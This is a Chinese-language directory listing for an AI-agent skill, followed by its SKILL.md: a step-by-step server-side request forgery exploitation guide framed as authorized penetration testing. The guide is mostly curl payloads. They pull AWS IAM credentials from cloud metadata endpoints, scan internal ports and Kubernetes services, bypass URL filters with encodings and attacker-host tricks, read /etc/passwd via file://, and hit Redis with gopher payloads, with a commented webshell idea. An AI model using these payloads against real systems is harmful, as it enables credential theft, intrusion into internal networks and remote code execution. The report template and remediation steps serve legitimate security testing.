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Agent Skill · 研究检索

exploiting-server-side-request-forgery(利用服务器端请求伪造)

exploiting-server-side-request-forgery 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

exploiting-server-side-request-forgery 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为调用外部服务;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 41,891。

总安装 1,128周安装 47GitHub Stars 5,939下载 376核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:exploiting-server-side-request-forgery(利用服务器端请求伪造)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/exploiting-server-side-request-forgery
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-server-side-request-forgery
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-server-side-request-forgery

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中快速定位候选结果。适用于根据关键词、任务场景或来源线索进行信息核验和用法确认。可结合来源仓库和原始 README 继续验证具体用法和适用条件。安装前建议确认权限范围、维护状态,以及是否会触发联网或命令执行。

使用前应确保具备授权,避免对未授权系统执行敏感操作。

来源仓库内路径:skills/exploiting-server-side-request-forgery

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要调用外部服务,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

exploiting-server-side-request-forgery 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiti…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

exploiting-server-side-request-forgery 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

exploiting-server-side-request-forgery 需要什么权限?

权限级别是调用外部服务。该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

exploiting-server-side-request-forgery 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

exploiting-server-side-request-forgery 用的人多吗?

公开数据是累计安装 1,128 次,近一周安装 47 次,下载 376 次,GitHub 5,939 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

exploiting-server-side-request-forgery 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,939 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
exploiting-server-side-request-forgery

利用服务器端请求伪造 · 本页

1,1285,939调用外部服务未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Exploiting Server-Side Request Forgery

When to Use

  • During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
  • When testing cloud-hosted applications for access to instance metadata services
  • For assessing PDF generators, screenshot services, or any feature that renders external content
  • When evaluating microservice architectures for internal service access via SSRF
  • During security assessments of APIs that accept URL parameters for data fetching

Prerequisites

  • Authorization: Written penetration testing agreement including SSRF testing scope
  • Burp Suite Professional: With Collaborator for out-of-band detection
  • interactsh: Open-source OOB interaction server (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
  • SSRFmap: Automated SSRF exploitation framework (git clone https://github.com/swisskyrepo/SSRFmap.git)
  • curl: For manual SSRF payload testing
  • Knowledge of target infrastructure: Cloud provider (AWS, GCP, Azure), internal IP ranges

Workflow

Step 1: Identify SSRF-Prone Functionality

Map all application features that make server-side HTTP requests.

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

Step 2: Access Cloud Instance Metadata

Test SSRF payloads targeting cloud provider metadata services.

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

Step 3: Scan Internal Network via SSRF

Use the SSRF vulnerability to discover internal services and ports.

# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes internal services
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done

Step 4: Bypass SSRF Filters and Allowlists

When basic payloads are blocked, use bypass techniques.

# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # Octal
  "http://0x7f.0.0.1/"          # Hex
  "http://2130706433/"           # Decimal
  "http://127.1/"                # Short form
  "http://0/"                    # Zero
  "http://[::1]/"                # IPv6 loopback
  "http://0.0.0.0/"              # All interfaces
  "http://localtest.me/"         # DNS resolves to 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS rebinding
  "http://127.0.0.1.nip.io/"    # Wildcard DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL parsing bypass
# Embed credentials: http://expected.com@evil.com/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1

# Protocol bypass
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"

Step 5: Exploit SSRF for Impact Escalation

Chain SSRF with internal services for maximum impact.

# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only

# Access Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# Read data from Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# Access internal Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token

Step 6: Test Blind SSRF and DNS Rebinding

For cases where the response is not returned to the attacker.

# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
#    - First query: returns attacker IP (passes allowlist)
#    - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs

Key Concepts

ConceptDescription
SSRFServer-Side Request Forgery - making the server send requests to unintended destinations
Blind SSRFSSRF where the response is not returned to the attacker, requiring OOB detection
Cloud MetadataInstance metadata services (169.254.169.254) exposing credentials and configuration
Gopher ProtocolProtocol allowing raw TCP data transmission, enabling attacks on internal services
DNS RebindingDNS attack that switches IP resolution to bypass SSRF hostname allowlists
TOCTOUTime-of-check to time-of-use race condition in URL validation
IMDSv2AWS metadata service v2 requiring session tokens, mitigating basic SSRF
Open Redirect ChainUsing an open redirect to bypass URL allowlists in SSRF filters

Tools & Systems

ToolPurpose
Burp Suite ProfessionalRequest modification and Collaborator for blind SSRF detection
SSRFmapAutomated SSRF exploitation framework with protocol support
interactshOut-of-band interaction detection for blind SSRF
GopherusGenerates gopher payloads for exploiting internal services
rbndr.usDNS rebinding service for SSRF filter bypass
singularityDNS rebinding attack framework for automated exploitation

Common Scenarios

Scenario 1: Webhook URL SSRF to AWS Credentials

A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.

Scenario 2: PDF Generator SSRF

A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.

Scenario 3: Image URL SSRF with Protocol Bypass

An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.

Scenario 4: Blind SSRF to Internal Redis

A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.

Output Format

## SSRF Vulnerability Finding

**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery

### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys

### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |

### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability

### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls

平台分布

Codex

35%
按下载量换算132

Claude

28.87%
按下载量换算109

Cursor

19.34%
按下载量换算73

Gemini CLI

9.47%
按下载量换算36

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

调用外部服务

该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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